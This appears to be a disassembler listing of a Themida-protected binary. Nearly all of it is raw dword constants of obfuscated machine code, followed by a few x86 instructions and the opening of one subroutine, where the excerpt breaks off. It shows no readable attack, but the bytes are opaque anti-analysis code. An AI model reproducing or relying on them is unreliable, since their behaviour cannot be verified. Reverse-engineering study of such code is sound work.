		dd 1EBh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	22C35040h, 68C0Fh, 85290000h, 6123205h,	12E9h
		dd 0BC5DA600h, 6CB2A909h, 0E04DC077h, 256C08BFh, 8B8F7A84h
		dd 15BD0485h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 545CB6Fh,	89F56377h, 1233518Dh, 1800C706h
		dd 8B000000h, 1214D19Dh, 8B58B06h, 6A0615BDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 8ACC356h, 0D38166F3h, 93B33DABh, 2399858Bh, 9D8B0612h
		dd 61225E1h, 0FE90689h,	57000000h, 3122840Dh, 0A43C2397h
		dd 8224C287h, 858B31ECh, 61224CDh, 89D88B66h, 6A0446h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0D43FBC3h, 33A9BD8Bh, 66960612h, 500CB2BBh, 8B96F88Bh
		dd 123249BDh, 4B5FF06h,	6A0615BDh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F2C352h
		dd 122ED19Dh, 0FBA56806h, 0F5309F7h, 82h, 34815F00h, 0E8F85A24h
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BC3E248h, 12150DBDh, 0F59D8906h, 8D06120Eh
		dd 15BD0C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 63D78161h, 503C802Dh, 13E9h, 1D1FCD00h
		dd 0A89D52C2h, 72A31798h, 4B396DE7h, 72887CCEh,	6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0FD34C350h, 8166BDB0h, 0FF3FADC7h, 12303195h
		dd 0C8C0F06h, 0F000000h, 68Fh, 0D9858900h, 6106122Fh, 11E9h
		dd 8435BE00h, 0C916E98Ah, 0B06BDF25h, 0A426801Bh, 8E9D551h
		dd 0C5000000h, 6EDCC7BFh, 0C75999A4h, 12001185h, 306h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0EDF517DAh, 7FACE900h, 1E019509h
		dd 0BD830612h, 615BD0Ch, 0B840F00h, 29000000h, 12153185h
		dd 1BE906h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 0AE9C0h, 0D6140000h, 6DE194C4h
		dd 814EF783h, 3DEB8166h, 50006A48h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 658D89A0h, 0F906121Fh
		dd 11BD83h, 0F030612h, 42A85h, 9BD8B00h, 8306122Eh, 15BD0CBDh
		dd 840F0006h, 417h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 9FC35545h, 5005841Eh,	0E973223Eh, 10h
		dd 56255604h, 2054D624h, 7BC34202h, 1067E60Eh, 68D0F60h
		dd 0F000000h, 8Bh, 48D0F00h, 66000000h,	612C5DB8h, 0BD0CB5FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 95FFD4C3h, 6122029h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0AFC35545h,	8BFE8BC4h, 15BD00B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 8C860E5Bh, 17549B1Eh, 0AE8h, 79CF6D00h
		dd 0D2EF4C9Eh, 0F8F03F36h, 0C7FE8A5Bh, 1000106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BB660EF6h, 605092B8h, 0EFC0B9B9h, 0F8B0F42h, 0E9000000h
		dd 0Ah,	0CBC9E4CDh, 90E1C10Fh, 89614522h, 6A2434h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 1E69F4C3h, 0AB6E4DAEh, 0FD30E9Eh, 487h, 0E1BB6600h
		dd 0FFFA8B19h, 15BD0CB5h, 959D8B06h, 0FF06122Dh, 121AE195h
		dd 59B50106h, 8B061228h, 15BD00B5h, 5E78106h, 8B2E2D6Fh
		dd 12303985h, 85BD8B06h, 89061218h, 0C486h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 17F8BB16h, 49513003h, 2DCD958Bh, 9ABF0612h, 83785C92h
		dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0CACCC1C3h, 28E1BD2Bh, 50890612h,	51006A20h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 67BF66B4h, 419D8B37h, 8D061207h, 15D0EA85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0BBC015E6h, 7CC47EF2h, 0B88689DEh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0A4F6C350h, 5BD874A1h, 0E95680F1h, 7, 0EC4FB834h, 5B8C07CCh
		dd 0FD8A006Ah, 0BD0CB5FFh, 0FA8B0615h, 2CD595FFh, 95890612h
		dd 61219D9h, 89F88B50h,	1DB32434h, 0BD0CB5FFh, 9D0B0615h
		dd 612304Dh, 2E2995FFh,	10E90612h, 0C6000000h, 296CECEFh
		dd 6487E6AEh, 0C927A49h, 83CC0538h, 121189BDh, 840F0006h
		dd 54h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
		dd 64C35141h, 581C2B32h, 8F71D240h, 964CF780h, 28D0F53h
		dd 60000000h, 0E9505B61h, 8, 53D02735h,	9FCBB91Ah, 0EE996h
		dd 45CF0000h, 99DA2D91h, 16F506C7h, 11A4E64Dh, 0BD0CB5FFh
		dd 81660615h, 0FF34C7D7h, 122AA595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 5B8A8E19h
		dd 0A7B1F39Bh, 702B0DBBh, 0CB5FF72h, 6A0615BDh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0B1C5C350h, 0B03E0E1h, 652E2753h, 0C88ACABBh, 0B195FF0Dh
		dd 8106121Bh, 4251ADE7h, 0FB8B6611h, 2A41BD83h,	0F020612h
		dd 5E84h, 858BFC00h, 61218A9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0F9C35242h,	6A0000C6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 710CC352h, 85F53FA1h, 12E9h,	0F324B900h, 2BDAA768h
		dd 0B82A8604h, 0D8F588F5h, 0C7611E72h, 12030185h, 6, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 152109C4h, 0E9F59CE1h, 0FFFFF314h, 1B3FBF66h, 6AC18Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BD3192C3h, 61219A1h, 8DFBBF0Fh, 12006585h, 0B19D3306h
		dd 6006122Ch, 0BE9h, 0B708D000h, 0C9F86DD4h, 9A7F9187h
		dd 68B0Fh, 0F3810000h, 0E31369Fh, 0BF519061h, 2856B4FEh
		dd 0BB66505Bh, 6A902EDCh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 5193C356h, 8B8AA06Ah
		dd 122935BDh, 52006A06h, 6A5F46B3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0BE6DAD8h
		dd 858DD98Bh, 616B6E5h,	3FF8C781h, 0C0837CF2h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0CE95B92h, 0EF000000h, 14127BA7h, 0F82E50D5h, 90496010h
		dd 1871B860h, 0BDBF0654h, 61212141h, 90D88B50h,	0A1F78166h
		dd 0DABF0F6Eh, 0BF0F006Ah, 81006AD8h, 3717A5D7h, 5595FF6Ch
		dd 8906120Bh, 12131D9Dh, 45D78006h, 9BCA8D8Dh, 12E90615h
		dd 52000000h, 5D50FAFEh, 2F9B27B6h, 27693FE5h, 3DF44354h
		dd 8BD1FF05h, 1213819Dh, 0E9BD8306h, 106120Eh, 31850Fh
		dd 8D310000h, 6122ED1h,	7259D8Bh, 26A0612h, 1C799D8Bh
		dd 0F500612h, 286h, 8947B700h, 0CB802404h, 0C38166A4h
		dd 95FF0DF8h, 6122CD5h,	0E9F9BF0Fh, 0EC2h, 0E8h, 0ED815D00h
		dd 616B6EFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0ADC35040h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 4855963h, 1EE78166h, 0F88B6688h
		dd 968F858Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0F2F2E7C3h, 0B8BB662Fh, 0BB669088h
		dd 53507509h, 2880Fh, 0DA8B0000h, 6A905Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8F10EDC3h
		dd 60DB116Dh, 277D952Bh, 0FE80612h, 0BD000000h,	6B3C38EDh
		dd 0D49E51DFh, 1C0D7F7Ah, 0D3B1635Ah, 0FF646159h, 35h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0B18D1B5Bh, 75F730B9h, 5684BBFCh, 858937C3h
		dd 6122381h, 258964h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 878EC356h, 8A5C079Ch
		dd 119D03FEh, 0FF061214h, 12123585h, 0D98B6606h, 6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0BB6B48C3h, 0B2AE3DBFh, 860F50ABh, 0Bh, 6E9h, 0B3D41D00h
		dd 5F38AEA3h, 2431B5FFh, 8B660612h, 0F9BB66FAh,	7595FF33h
		dd 0E9061214h, 153h, 2121BD29h,	0B00612h, 0B41BD8Bh, 70E60612h
		dd 10E8h, 0B66E9E00h, 9B9283B2h, 0B643CEE8h, 767591BDh
		dd 0E1BD8B60h, 5B061233h, 0DF8B71E4h, 830F613Ch, 11Bh
		dd 1F8DB589h, 0B60F0612h, 0D38166C8h, 6BA83EEh,	89000000h
		dd 1222D1B5h, 8E806h, 758C0000h, 0E24CE03h, 5BF927B9h
		dd 0BE8C18Bh, 0B7000000h, 9A328D82h, 271CA8B1h,	9D8BED11h
		dd 6121CDDh, 4E8C15Bh, 4F38166h, 0CE9AFh, 7FA50000h, 0D436394Eh
		dd 5ECDE712h, 0F7661141h, 0BE9E2h, 5B710000h, 0A0E9DCB8h
		dd 9CBD8393h, 95316055h, 6120751h, 2D619D09h, 2B610612h
		dd 99D8BC8h, 8B06122Eh,	0E78166D1h, 8CE92A96h, 60000000h
		dd 858BDE8Bh, 6121185h,	8858B61h, 66000000h, 83CEE4BFh
		dd 0BD8B07C0h, 6121E8Dh, 0E900C083h, 0Bh, 0C9F333B2h, 8F9FD838h
		dd 3B6AF582h, 0F830FD0h, 89000000h, 120B1D8Dh, 49E906h
		dd 8B510000h, 8D8B5FD9h, 0FFFFFFFFh, 1E183F5h, 35840Fh
		dd 95310000h, 612270Dh,	0FFFFA583h, 0E9FEFFFFh,	13h, 5BF6103Eh
		dd 5773CF67h, 69634BBCh, 0FE41F5E3h, 89D014EFh,	895h, 0CF816600h
		dd 0E9065Ah, 8D000000h,	163656B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B2206400h
		dd 81E6505Dh, 6A006A72h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7EB3C352h, 6F55F49Bh
		dd 0FFFB8B66h, 1229D195h, 0FE8B6606h, 0F92B9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0FC99A103h, 0FCE1838Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 57C35343h, 17E9BD8Bh,	6AFC0612h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6663C356h, 80E0E2BBh, 880FFEC7h, 15h, 10E9h,	0AF83E500h
		dd 35C2FE6Ah, 0CA208CF0h, 48E2B74h, 0B8BBh, 11E80000h
		dd 0
		dd 86FB1D0Eh, 8BFD1117h, 18A43F4Ah, 220FD621h, 6AD22B5Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 91BEC357h, 9AFA68F0h, 66807469h, 0AD9ABEBFh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 76C3C353h
		dd 3FAADE96h, 879BD33h,	6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 2F96F9C3h, 0DD03B236h
		dd 0CF819A08h, 5EAD542Bh, 0A86612BBh, 880D22h, 958B0000h
		dd 6122DCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	72C35141h, 0BE8h, 6D35F100h, 81E1E08Fh,	127FD9DBh
		dd 5FDA8B66h, 31BD8D8Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 884E0CC3h, 0B5892864h
		dd 6121A19h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 9D8B5818h, 61218A5h,	1419BD83h, 0F000612h, 6484h, 1B8FBF00h
		dd 0B85AA7h, 0E9000000h, 6, 0EE111661h,	8D8D9D75h, 6124E4Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E4C35343h
		dd 3C1C6F2Dh, 0F14FBFEFh, 0E1FF5AF3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0A0C35242h,	0B6910CC1h, 11BD8303h
		dd 61200h, 4D3840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 65F965C3h, 11BD83h, 0F010612h
		dd 4C384h, 0D59D8B00h, 83061214h, 120011BDh, 860F0306h
		dd 47Ah, 13A5BD89h, 6A600612h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1E8FC355h, 8E86EF4h
		dd 6D000000h, 7146120Dh, 0E92B69DBh, 13h, 311D1C5Eh, 0C8ECCB78h
		dd 50C17CFDh, 399FB2FAh, 5F60F7B5h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 6FF9C356h, 0F606828h, 0B589FBBFh, 612277Dh, 0C3816661h
		dd 0E180EAB5h, 5E804h, 0B04D0000h, 0E9BA1C6Dh, 7, 8EA4E512h
		dd 5FB5B76Fh, 840FC90Ah, 0FDh, 858BDE8Bh, 61224CDh, 118D8529h
		dd 85330612h, 612248Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 49C35646h, 0ADBED4F2h, 0B58919E3h, 612249Dh
		dd 18BB6650h, 24048938h, 400C98BFh, 6A006A14h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 64FEC353h, 8094C556h, 68860D99h, 7D93875h, 80BB6657h
		dd 34815B2Ah, 0C63B8A24h, 0E59D8B07h, 0FF061220h, 12303195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0A31633E7h, 8E923h, 73020000h, 656B5238h
		dd 8589F8F2h, 615BD0Ch,	8C19D8Bh, 0A3E90612h, 6A000002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8B7FC357h, 0DA8B66D8h, 5E96053h, 0EE000000h
		dd 0AB183E06h, 61FAB70Fh, 4858B5Bh, 8B0615BDh, 1213E1BDh
		dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B714C356h,	4F72BB40h
		dd 0E98A4FA6h, 7, 0B4B24161h, 8B367B4Bh, 15BD08B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 3788A776h, 0A769BF87h, 99858B05h, 6A061223h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 87F2C356h, 0F90F530h, 682h, 598D8900h, 0E906120Ch, 0Ah
		dd 0D6691C6Ah, 0FA881487h, 6893CBAh, 19BD8529h,	858B0612h
		dd 61224CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0CCC35242h, 910F1B0Dh, 158DB7B7h, 10E85360h, 9D000000h
		dd 2EC638F7h, 936CEED6h, 0B2A13AAFh, 5838AC54h,	12E8535Ah
		dd 5D000000h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h
		dd 6158583Fh, 6A044689h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 6B3EC355h, 0DF894861h
		dd 8E8h, 0D6C5000h, 0D72E09BBh,	13E85Fh, 517F0000h, 29DB313Eh
		dd 0CA151033h, 7A47DBD7h, 0AF522E0h, 0E5BD8BC1h, 5F061227h
		dd 0D3BF505Fh, 895DDBC1h, 8D292434h, 612291Dh, 0BD04B5FFh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 5D8038C3h, 42DD68E6h, 12E8E152h, 19000000h
		dd 0FFA73326h, 409266E1h, 0E3F93BCCh, 8C1FB685h, 11E9A1h
		dd 12C0000h, 46B41F2Eh,	67B0C733h, 799AEA8Ah, 5F2DB6B3h
		dd 22240481h, 0E81ECCC1h, 0Dh, 0EB819151h, 0CCF69BB0h
		dd 9A49C411h, 5FD98BA6h, 0BD0C858Dh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 90F607C3h
		dd 9D295E21h, 6123251h,	0DE990h, 0D9E60000h, 9067661Ch
		dd 0D6D68688h, 5096FFE6h, 11830Fh, 0E8570000h, 9, 731960C0h
		dd 2BB9BA79h, 905B5F1Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 46C35545h, 0FC61A8BCh, 303195FFh, 89600612h
		dd 1200C5BDh, 61F78B06h, 0F861F98Bh, 1185C7h, 30612h, 0BD0B0000h
		dd 6121581h, 7FDBD8Bh, 0BD830612h, 615BD0Ch, 47840F00h
		dd 0E9000000h, 13h, 0A1232AF3h,	0C0FFC0B9h, 0BB5A8405h
		dd 187931ACh, 0E933C9DCh, 45h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0CCC35040h,	84CBD04Fh, 0B928D6D0h
		dd 27018D31h, 30500612h, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 31A1D210h, 121B15B5h
		dd 0A6DABB06h, 6A4829h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 8DECFEC3h, 15520AECh, 820F4614h
		dd 6, 26259D8Bh, 800F0612h, 6, 27DBD23h, 0BD830612h, 6120011h
		dd 0CA850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 5C9DC352h, 0CBD8312h
		dd 615BDh, 39F840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 9EFAA4C3h, 0B4545A0Fh
		dd 8BCC6565h, 0CB5FFDEh, 660615BDh, 0DAB2EB81h,	202995FFh
		dd 9D8B0612h, 6121CF1h,	0BD00B58Bh, 12E90615h, 9B000000h
		dd 7BA9D0DDh, 2A467D8Ch, 4E014CF8h, 0E27EE82Bh,	106C769h
		dd 29000100h, 12336D95h, 0BB509606h, 2F95CD93h,	0BDBD0B96h
		dd 0FF06122Dh, 15BD0CB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 53CBAEF4h
		dd 8E9h, 325CBD00h, 0DD0B1593h,	95FF5FC0h, 6121AE1h, 0BD00B58Bh
		dd 0FF80615h, 68Ch, 598D8900h
		dd 8B061226h, 12303985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BD8B4275h, 6122145h
		dd 0C48689h, 0D88B0000h, 264D9D8Bh, 958B0612h, 6122DCDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h
		dd 702AFCBh, 418EDED2h,	4FEBBB66h, 0CE960h, 183C0000h
		dd 0AEBF9649h, 0E2844D1Ch, 0B589AC67h, 612268Dh, 4C28361h
		dd 0C65BD03h, 50890612h, 51006A20h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 31DF0B9Fh, 6670348Ah
		dd 8B891FBFh, 1213919Dh, 0EA858D06h, 6A0615D0h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6051C352h, 460F580h,	7E26BF66h, 28459D8Bh, 86890612h
		dd 0B8h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0F4C35747h, 0DABF6651h,	6A5F04h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 51C35343h, 16FCFB83h
		dd 0A044C486h, 1A959D33h, 0B5FF0612h, 615BD0Ch,	2CD595FFh
		dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 9D9627C3h, 0E00B3284h, 59BD8B8Dh,	8B061221h
		dd 1227959Dh, 77BF9606h, 5037D0FDh, 51006A96h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 43D987C1h
		dd 47A0DDABh, 0B5FFA9E9h, 615BD0Ch, 2995FFF9h, 6A06122Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0BF7CC356h, 3976AFFFh, 83F88B66h,	121189BDh
		dd 840F0006h, 21h, 0E950D88Bh, 10h, 6AA2567Bh, 26198D93h
		dd 0E1FFA733h, 0CC409266h, 8B243489h, 120445BDh, 0CB5FF06h
		dd 8B0615BDh, 1217ED9Dh, 0A595FF06h, 0FF06122Ah, 15BD0CB5h
		dd 0C820F06h, 0F000000h, 689h, 459D8900h, 0FF061224h, 121BB195h
		dd 45858906h, 83061221h, 122A41BDh, 840F0206h, 60h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C7C35242h, 0C08A452Eh
		dd 0CC1331E6h, 0A9858B1Ch, 6A061218h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 3E33C350h
		dd 0B7D5D523h, 0BD239F9Bh, 612043Dh, 890000C6h,	120EBDBDh
		dd 0DE8B6606h, 30185C7h, 612h, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 1BE13AC3h
		dd 0BBFB2023h, 41BD8B2Fh, 8B06120Bh, 1229619Dh,	0F28AE906h
		dd 8A0FFFFFh, 6, 27898529h, 0C18B0612h,	1661BD8Bh, 858D0612h
		dd 6120065h, 50F98B66h,	0E14AD0BFh, 2404897Fh, 32B9BD29h
		dd 6A0612h, 32C59D8Bh, 6A0612h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 8C35545h, 0BAD0F86Eh, 8B2A115Ah
		dd 12215DBDh, 13858D06h, 660616C7h, 2348D381h, 8B05C083h
		dd 122C21BDh, 11E85006h, 0DA000000h, 85D9F132h,	4AEADA84h
		dd 4E443A78h, 454D8FF0h, 2404895Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0E2C35141h,	2B580D03h, 6E9006Ah
		dd 76000000h, 6F47F624h, 0B006AF6h, 12002D9Dh, 5595FF06h
		dd 0E906120Bh, 0Dh, 11463201h, 7483FFEh, 0F733F638h, 0CA8D8D7Eh
		dd 8906159Bh, 12322D95h, 6AD1FF06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4B0FC355h
		dd 699C11D4h, 2A55BD8Bh, 9D8B0612h, 612008Dh, 0EE9BD83h
		dd 0F010612h, 5885h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B47413Ch, 0FB8B66DAh
		dd 0F5BF026Ah, 5075BB6Fh, 4897EB7h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D595FF11h
		dd 8906122Ch, 122929B5h, 0E49E906h, 0E80000h, 5D000000h
		dd 0C71DED81h, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 81090C3h, 0B70A6C77h, 13E9FCh, 6BED0000h
		dd 0D047E12Eh, 78B4A933h, 19A60174h, 0B54C2C09h, 8F858D2Ch
		dd 6A061596h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2BF8C355h, 0C0B794E2h,	9E9788Dh
		dd 89000000h, 0CD1B9B43h, 0E290214Ah, 88BF6690h, 6A905098h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0B3BFC356h, 840F87BCh, 2,	0FF64D88Bh, 35h
		dd 0D58D8900h, 6406121Ch, 2589h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6EEBA7C3h
		dd 4B532F79h, 312D9EE8h, 1227918Dh, 7888BF06h, 85FF6C10h
		dd 6121235h, 12E9h, 49CD8800h, 335ACC31h, 0E759251Bh, 41FCBC5Ah
		dd 0BFF86B07h, 3BB5A226h, 9589FF6Ah, 61210E1h, 2D79B5FFh
		dd 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 6A08CDC3h, 8B666041h, 0E18589C8h,	61061230h
		dd 147595FFh, 30E90612h, 89000001h, 12213D95h, 6000B006h
		dd 5810Fh, 0BDB90000h, 89191F2Eh, 121B698Dh, 70E66106h
		dd 281D9D29h, 0BF0F0612h, 0E871E4FFh, 12h, 7F8CBD73h, 0FAD41E6Fh
		dd 0A4D0022Eh, 0A7C958CBh, 0F98A1FA5h, 0F613C5Bh, 0E683h
		dd 0FF88A00h, 9589C8B6h, 61210EDh, 6BAh, 48A0F00h, 66000000h
		dd 8B1F89BBh, 798589C1h, 0C1061225h, 0BD2904E8h, 6121725h
		dd 0C35B501h, 0F7660612h, 0FE9E2h, 6E90000h, 81BBC537h
		dd 8A5E14EDh, 72FB698Bh, 8BC82B8Fh, 21BD8BD1h, 0E9061223h
		dd 8Fh,	0DFCF8166h, 1858B06h, 1000000h,	12339985h, 7C08306h
		dd 12E952h, 0E3C0000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh
		dd 0F21B4A1Fh, 0C0835Fh, 10E8h,	745FC600h, 22EA62EEh, 82DA6C67h
		dd 6DD22492h, 19BD2336h, 5F061224h, 830FD03Bh, 0Bh, 36E9h
		dd 0F5958900h, 8B061233h, 0FFFFFF8Dh, 1E183FFh,	21840Fh
		dd 9D8B0000h, 612326Dh,	0FFFFA583h, 8BFEFFFFh, 122A0D9Dh
		dd 1958906h, 0F000000h,	0E9F8B7h, 8D000000h, 1645E8B5h
		dd 0EE906h, 0A69A0000h,	61F8D5ECh, 4169811Fh, 2A278FEAh
		dd 9ACB060h, 122CA58Dh,	6A6106h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 19h, 66C35646h, 3EDA0068h, 0FEBF0F84h
		dd 29D195FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0B9244FC3h, 9CB97CEDh, 8900000Fh
		dd 121B75BDh, 0FCE18306h, 2DE59D0Bh, 66FC0612h,	0B846E4BBh
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+6122655h],	ebx
		sub	edx, edx
		push	0
		push	eax
		call	sub_5C8517
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8517	proc near		; CODE XREF: Themida_:005C850Fp

arg_4		= dword	ptr  8

		pop	eax
